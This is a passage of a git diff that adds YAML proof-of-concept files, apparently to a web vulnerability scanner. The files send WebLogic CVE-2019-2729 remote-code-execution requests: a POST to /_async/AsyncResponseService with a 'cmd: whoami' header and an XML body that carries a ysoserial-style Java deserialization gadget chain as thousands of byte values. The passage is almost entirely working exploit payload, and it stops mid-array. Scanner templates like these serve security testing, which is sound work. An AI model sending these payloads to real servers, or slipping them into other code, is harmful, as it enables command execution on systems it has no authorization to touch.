+ -119
+
+
+ 7
+
+
+ 0
+
+
+ 112
+
+
+ 7
+
+
+ 0
+
+
+ 112
+
+
+ 21
+
+
+ -1
+
+
+ 0
+
+
+ 23
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 5
+
+
+ 7
+
+
+ 0
+
+
+ 112
+
+
+ 7
+
+
+ 0
+
+
+ 69
+
+
+ 7
+
+
+ 0
+
+
+ 96
+
+
+ 7
+
+
+ 0
+
+
+ 112
+
+
+ 0
+
+
+ 1
+
+
+ 7
+
+
+ 0
+
+
+ -89
+
+
+ 20
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 32
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 33
+
+
+ 0
+
+
+ 17
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 35
+
+
+ 0
+
+
+ 16
+
+
+ 0
+
+
+ 9
+
+
+ 117
+
+
+ 113
+
+
+ 0
+
+
+ 126
+
+
+ 0
+
+
+ 13
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ -44
+
+
+ -54
+
+
+ -2
+
+
+ -70
+
+
+ -66
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 50
+
+
+ 0
+
+
+ 27
+
+
+ 10
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 21
+
+
+ 7
+
+
+ 0
+
+
+ 23
+
+
+ 7
+
+
+ 0
+
+
+ 24
+
+
+ 7
+
+
+ 0
+
+
+ 25
+
+
+ 1
+
+
+ 0
+
+
+ 16
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 86
+
+
+ 101
+
+
+ 114
+
+
+ 115
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 85
+
+
+ 73
+
+
+ 68
+
+
+ 1
+
+
+ 0
+
+
+ 1
+
+
+ 74
+
+
+ 1
+
+
+ 0
+
+
+ 13
+
+
+ 67
+
+
+ 111
+
+
+ 110
+
+
+ 115
+
+
+ 116
+
+
+ 97
+
+
+ 110
+
+
+ 116
+
+
+ 86
+
+
+ 97
+
+
+ 108
+
+
+ 117
+
+
+ 101
+
+
+ 5
+
+
+ 113
+
+
+ -26
+
+
+ 105
+
+
+ -18
+
+
+ 60
+
+
+ 109
+
+
+ 71
+
+
+ 24
+
+
+ 1
+
+
+ 0
+
+
+ 6
+
+
+ 60
+
+
+ 105
+
+
+ 110
+
+
+ 105
+
+
+ 116
+
+
+ 62
+
+
+ 1
+
+
+ 0
+
+
+ 3
+
+
+ 40
+
+
+ 41
+
+
+ 86
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 67
+
+
+ 111
+
+
+ 100
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 15
+
+
+ 76
+
+
+ 105
+
+
+ 110
+
+
+ 101
+
+
+ 78
+
+
+ 117
+
+
+ 109
+
+
+ 98
+
+
+ 101
+
+
+ 114
+
+
+ 84
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 18
+
+
+ 76
+
+
+ 111
+
+
+ 99
+
+
+ 97
+
+
+ 108
+
+
+ 86
+
+
+ 97
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 84
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 116
+
+
+ 104
+
+
+ 105
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 3
+
+
+ 70
+
+
+ 111
+
+
+ 111
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 73
+
+
+ 110
+
+
+ 110
+
+
+ 101
+
+
+ 114
+
+
+ 67
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 101
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 37
+
+
+ 76
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 112
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 115
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 36
+
+
+ 70
+
+
+ 111
+
+
+ 111
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 10
+
+
+ 83
+
+
+ 111
+
+
+ 117
+
+
+ 114
+
+
+ 99
+
+
+ 101
+
+
+ 70
+
+
+ 105
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 46
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 12
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 11
+
+
+ 7
+
+
+ 0
+
+
+ 26
+
+
+ 1
+
+
+ 0
+
+
+ 35
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 112
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 115
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 36
+
+
+ 70
+
+
+ 111
+
+
+ 111
+
+
+ 1
+
+
+ 0
+
+
+ 16
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 79
+
+
+ 98
+
+
+ 106
+
+
+ 101
+
+
+ 99
+
+
+ 116
+
+
+ 1
+
+
+ 0
+
+
+ 20
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 31
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 112
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 115
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 0
+
+
+ 33
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 26
+
+
+ 0
+
+
+ 5
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 7
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 8
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 11
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 47
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 5
+
+
+ 42
+
+
+ -73
+
+
+ 0
+
+
+ 1
+
+
+ -79
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 13
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 60
+
+
+ 0
+
+
+ 14
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 5
+
+
+ 0
+
+
+ 15
+
+
+ 0
+
+
+ 18
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 19
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 20
+
+
+ 0
+
+
+ 17
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 22
+
+
+ 0
+
+
+ 16
+
+
+ 0
+
+
+ 9
+
+
+ 112
+
+
+ 116
+
+
+ 0
+
+
+ 4
+
+
+ 80
+
+
+ 119
+
+
+ 110
+
+
+ 114
+
+
+ 112
+
+
+ 119
+
+
+ 1
+
+
+ 0
+
+
+ 120
+
+
+ 115
+
+
+ 125
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 29
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 120
+
+
+ 46
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 46
+
+
+ 116
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 102
+
+
+ 111
+
+
+ 114
+
+
+ 109
+
+
+ 46
+
+
+ 84
+
+
+ 101
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 97
+
+
+ 116
+
+
+ 101
+
+
+ 115
+
+
+ 120
+
+
+ 114
+
+
+ 0
+
+
+ 23
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 46
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 46
+
+
+ 114
+
+
+ 101
+
+
+ 102
+
+
+ 108
+
+
+ 101
+
+
+ 99
+
+
+ 116
+
+
+ 46
+
+
+ 80
+
+
+ 114
+
+
+ 111
+
+
+ 120
+
+
+ 121
+
+
+ -31
+
+
+ 39
+
+
+ -38
+
+
+ 32
+
+
+ -52
+
+
+ 16
+
+
+ 67
+
+
+ -53
+
+
+ 2
+
+
+ 0
+
+
+ 1
+
+
+ 76
+
+
+ 0
+
+
+ 1
+
+
+ 104
+
+
+ 116
+
+
+ 0
+
+
+ 37
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 114
+
+
+ 101
+
+
+ 102
+
+
+ 108
+
+
+ 101
+
+
+ 99
+
+
+ 116
+
+
+ 47
+
+
+ 73
+
+
+ 110
+
+
+ 118
+
+
+ 111
+
+
+ 99
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 72
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 120
+
+
+ 112
+
+
+ 115
+
+
+ 114
+
+
+ 0
+
+
+ 50
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 46
+
+
+ 114
+
+
+ 101
+
+
+ 102
+
+
+ 108
+
+
+ 101
+
+
+ 99
+
+
+ 116
+
+
+ 46
+
+
+ 97
+
+
+ 110
+
+
+ 110
+
+
+ 111
+
+
+ 116
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 46
+
+
+ 65
+
+
+ 110
+
+
+ 110
+
+
+ 111
+
+
+ 116
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 73
+
+
+ 110
+
+
+ 118
+
+
+ 111
+
+
+ 99
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 72
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 85
+
+
+ -54
+
+
+ -11
+
+
+ 15
+
+
+ 21
+
+
+ -53
+
+
+ 126
+
+
+ -91
+
+
+ 2
+
+
+ 0
+
+
+ 2
+
+
+ 76
+
+
+ 0
+
+
+ 12
+
+
+ 109
+
+
+ 101
+
+
+ 109
+
+
+ 98
+
+
+ 101
+
+
+ 114
+
+
+ 86
+
+
+ 97
+
+
+ 108
+
+
+ 117
+
+
+ 101
+
+
+ 115
+
+
+ 116
+
+
+ 0
+
+
+ 15
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 77
+
+
+ 97
+
+
+ 112
+
+
+ 59
+
+
+ 76
+
+
+ 0
+
+
+ 4
+
+
+ 116
+
+
+ 121
+
+
+ 112
+
+
+ 101
+
+
+ 116
+
+
+ 0
+
+
+ 17
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 67
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 59
+
+
+ 120
+
+
+ 112
+
+
+ 115
+
+
+ 114
+
+
+ 0
+
+
+ 17
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 46
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 46
+
+
+ 72
+
+
+ 97
+
+
+ 115
+
+
+ 104
+
+
+ 77
+
+
+ 97
+
+
+ 112
+
+
+ 5
+
+
+ 7
+
+
+ -38
+
+
+ -63
+
+
+ -61
+
+
+ 22
+
+
+ 96
+
+
+ -47
+
+
+ 3
+
+
+ 0
+
+
+ 2
+
+
+ 70
+
+
+ 0
+
+
+ 10
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 70
+
+
+ 97
+
+
+ 99
+
+
+ 116
+
+
+ 111
+
+
+ 114
+
+
+ 73
+
+
+ 0
+
+
+ 9
+
+
+ 116
+
+
+ 104
+
+
+ 114
+
+
+ 101
+
+
+ 115
+
+
+ 104
+
+
+ 111
+
+
+ 108
+
+
+ 100
+
+
+ 120
+
+
+ 112
+
+
+ 63
+
+
+ 64
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 12
+
+
+ 119
+
+
+ 8
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 16
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 116
+
+
+ 0
+
+
+ 8
+
+
+ 102
+
+
+ 53
+
+
+ 97
+
+
+ 53
+
+
+ 97
+
+
+ 54
+
+
+ 48
+
+
+ 56
+
+
+ 113
+
+
+ 0
+
+
+ 126
+
+
+ 0
+
+
+ 9
+
+
+ 120
+
+
+ 118
+
+
+ 114
+
+
+ 0
+
+
+ 29
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 120
+
+
+ 46
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 46
+
+
+ 116
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 102
+
+
+ 111
+
+
+ 114
+
+
+ 109
+
+
+ 46
+
+
+ 84
+
+
+ 101
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 97
+
+
+ 116
+
+
+ 101
+
+
+ 115
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 120
+
+
+ 112
+
+
+ 120
+
+
+
+
+
+
+
+
+
+
+
+ follow_redirects: false
+ expression: 'response.status == 200 && response.body.bcontains(b"whoami :")'
\ No newline at end of file
diff --git a/webscan/pocs/weblogic-cve-2019-2729-2.yml b/webscan/pocs/weblogic-cve-2019-2729-2.yml
new file mode 100644
index 0000000..db34c1c
--- /dev/null
+++ b/webscan/pocs/weblogic-cve-2019-2729-2.yml
@@ -0,0 +1,10473 @@
+name: poc-yaml-weblogic-cve-2019-2729-2
+rules:
+ - method: POST
+ path: /_async/AsyncResponseService
+ headers:
+ Content-Type: text/xml
+ cmd: whoami
+ body: |-
+
+
+
+ xx
+ xx
+
+
+
+ oracle.toplink.internal.sessions.UnitOfWorkChangeSet
+
+
+
+ -84
+
+
+ -19
+
+
+ 0
+
+
+ 5
+
+
+ 115
+
+
+ 114
+
+
+ 0
+
+
+ 23
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 46
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 46
+
+
+ 76
+
+
+ 105
+
+
+ 110
+
+
+ 107
+
+
+ 101
+
+
+ 100
+
+
+ 72
+
+
+ 97
+
+
+ 115
+
+
+ 104
+
+
+ 83
+
+
+ 101
+
+
+ 116
+
+
+ -40
+
+
+ 108
+
+
+ -41
+
+
+ 90
+
+
+ -107
+
+
+ -35
+
+
+ 42
+
+
+ 30
+
+
+ 2
+
+
+ 0
+
+
+ 0
+
+
+ 120
+
+
+ 114
+
+
+ 0
+
+
+ 17
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 46
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 46
+
+
+ 72
+
+
+ 97
+
+
+ 115
+
+
+ 104
+
+
+ 83
+
+
+ 101
+
+
+ 116
+
+
+ -70
+
+
+ 68
+
+
+ -123
+
+
+ -107
+
+
+ -106
+
+
+ -72
+
+
+ -73
+
+
+ 52
+
+
+ 3
+
+
+ 0
+
+
+ 0
+
+
+ 120
+
+
+ 112
+
+
+ 119
+
+
+ 12
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 16
+
+
+ 63
+
+
+ 64
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 115
+
+
+ 114
+
+
+ 0
+
+
+ 58
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 46
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 46
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 46
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 46
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 46
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 46
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 46
+
+
+ 116
+
+
+ 114
+
+
+ 97
+
+
+ 120
+
+
+ 46
+
+
+ 84
+
+
+ 101
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 97
+
+
+ 116
+
+
+ 101
+
+
+ 115
+
+
+ 73
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 9
+
+
+ 87
+
+
+ 79
+
+
+ -63
+
+
+ 110
+
+
+ -84
+
+
+ -85
+
+
+ 51
+
+
+ 3
+
+
+ 0
+
+
+ 6
+
+
+ 73
+
+
+ 0
+
+
+ 13
+
+
+ 95
+
+
+ 105
+
+
+ 110
+
+
+ 100
+
+
+ 101
+
+
+ 110
+
+
+ 116
+
+
+ 78
+
+
+ 117
+
+
+ 109
+
+
+ 98
+
+
+ 101
+
+
+ 114
+
+
+ 73
+
+
+ 0
+
+
+ 14
+
+
+ 95
+
+
+ 116
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 73
+
+
+ 110
+
+
+ 100
+
+
+ 101
+
+
+ 120
+
+
+ 91
+
+
+ 0
+
+
+ 10
+
+
+ 95
+
+
+ 98
+
+
+ 121
+
+
+ 116
+
+
+ 101
+
+
+ 99
+
+
+ 111
+
+
+ 100
+
+
+ 101
+
+
+ 115
+
+
+ 116
+
+
+ 0
+
+
+ 3
+
+
+ 91
+
+
+ 91
+
+
+ 66
+
+
+ 91
+
+
+ 0
+
+
+ 6
+
+
+ 95
+
+
+ 99
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 116
+
+
+ 0
+
+
+ 18
+
+
+ 91
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 67
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 59
+
+
+ 76
+
+
+ 0
+
+
+ 5
+
+
+ 95
+
+
+ 110
+
+
+ 97
+
+
+ 109
+
+
+ 101
+
+
+ 116
+
+
+ 0
+
+
+ 18
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 76
+
+
+ 0
+
+
+ 17
+
+
+ 95
+
+
+ 111
+
+
+ 117
+
+
+ 116
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 80
+
+
+ 114
+
+
+ 111
+
+
+ 112
+
+
+ 101
+
+
+ 114
+
+
+ 116
+
+
+ 105
+
+
+ 101
+
+
+ 115
+
+
+ 116
+
+
+ 0
+
+
+ 22
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 80
+
+
+ 114
+
+
+ 111
+
+
+ 112
+
+
+ 101
+
+
+ 114
+
+
+ 116
+
+
+ 105
+
+
+ 101
+
+
+ 115
+
+
+ 59
+
+
+ 120
+
+
+ 112
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ -1
+
+
+ -1
+
+
+ -1
+
+
+ -1
+
+
+ 117
+
+
+ 114
+
+
+ 0
+
+
+ 3
+
+
+ 91
+
+
+ 91
+
+
+ 66
+
+
+ 75
+
+
+ -3
+
+
+ 25
+
+
+ 21
+
+
+ 103
+
+
+ 103
+
+
+ -37
+
+
+ 55
+
+
+ 2
+
+
+ 0
+
+
+ 0
+
+
+ 120
+
+
+ 112
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 117
+
+
+ 114
+
+
+ 0
+
+
+ 2
+
+
+ 91
+
+
+ 66
+
+
+ -84
+
+
+ -13
+
+
+ 23
+
+
+ -8
+
+
+ 6
+
+
+ 8
+
+
+ 84
+
+
+ -32
+
+
+ 2
+
+
+ 0
+
+
+ 0
+
+
+ 120
+
+
+ 112
+
+
+ 0
+
+
+ 0
+
+
+ 8
+
+
+ -82
+
+
+ -54
+
+
+ -2
+
+
+ -70
+
+
+ -66
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 50
+
+
+ 0
+
+
+ 99
+
+
+ 10
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 34
+
+
+ 7
+
+
+ 0
+
+
+ 97
+
+
+ 7
+
+
+ 0
+
+
+ 37
+
+
+ 7
+
+
+ 0
+
+
+ 38
+
+
+ 1
+
+
+ 0
+
+
+ 16
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 86
+
+
+ 101
+
+
+ 114
+
+
+ 115
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 85
+
+
+ 73
+
+
+ 68
+
+
+ 1
+
+
+ 0
+
+
+ 1
+
+
+ 74
+
+
+ 1
+
+
+ 0
+
+
+ 13
+
+
+ 67
+
+
+ 111
+
+
+ 110
+
+
+ 115
+
+
+ 116
+
+
+ 97
+
+
+ 110
+
+
+ 116
+
+
+ 86
+
+
+ 97
+
+
+ 108
+
+
+ 117
+
+
+ 101
+
+
+ 5
+
+
+ -83
+
+
+ 32
+
+
+ -109
+
+
+ -13
+
+
+ -111
+
+
+ -35
+
+
+ -17
+
+
+ 62
+
+
+ 1
+
+
+ 0
+
+
+ 6
+
+
+ 60
+
+
+ 105
+
+
+ 110
+
+
+ 105
+
+
+ 116
+
+
+ 62
+
+
+ 1
+
+
+ 0
+
+
+ 3
+
+
+ 40
+
+
+ 41
+
+
+ 86
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 67
+
+
+ 111
+
+
+ 100
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 15
+
+
+ 76
+
+
+ 105
+
+
+ 110
+
+
+ 101
+
+
+ 78
+
+
+ 117
+
+
+ 109
+
+
+ 98
+
+
+ 101
+
+
+ 114
+
+
+ 84
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 18
+
+
+ 76
+
+
+ 111
+
+
+ 99
+
+
+ 97
+
+
+ 108
+
+
+ 86
+
+
+ 97
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 84
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 116
+
+
+ 104
+
+
+ 105
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 83
+
+
+ 116
+
+
+ 117
+
+
+ 98
+
+
+ 84
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 80
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 73
+
+
+ 110
+
+
+ 110
+
+
+ 101
+
+
+ 114
+
+
+ 67
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 101
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 53
+
+
+ 76
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 112
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 115
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 36
+
+
+ 83
+
+
+ 116
+
+
+ 117
+
+
+ 98
+
+
+ 84
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 80
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 9
+
+
+ 116
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 102
+
+
+ 111
+
+
+ 114
+
+
+ 109
+
+
+ 1
+
+
+ 0
+
+
+ 114
+
+
+ 40
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 47
+
+
+ 68
+
+
+ 79
+
+
+ 77
+
+
+ 59
+
+
+ 91
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
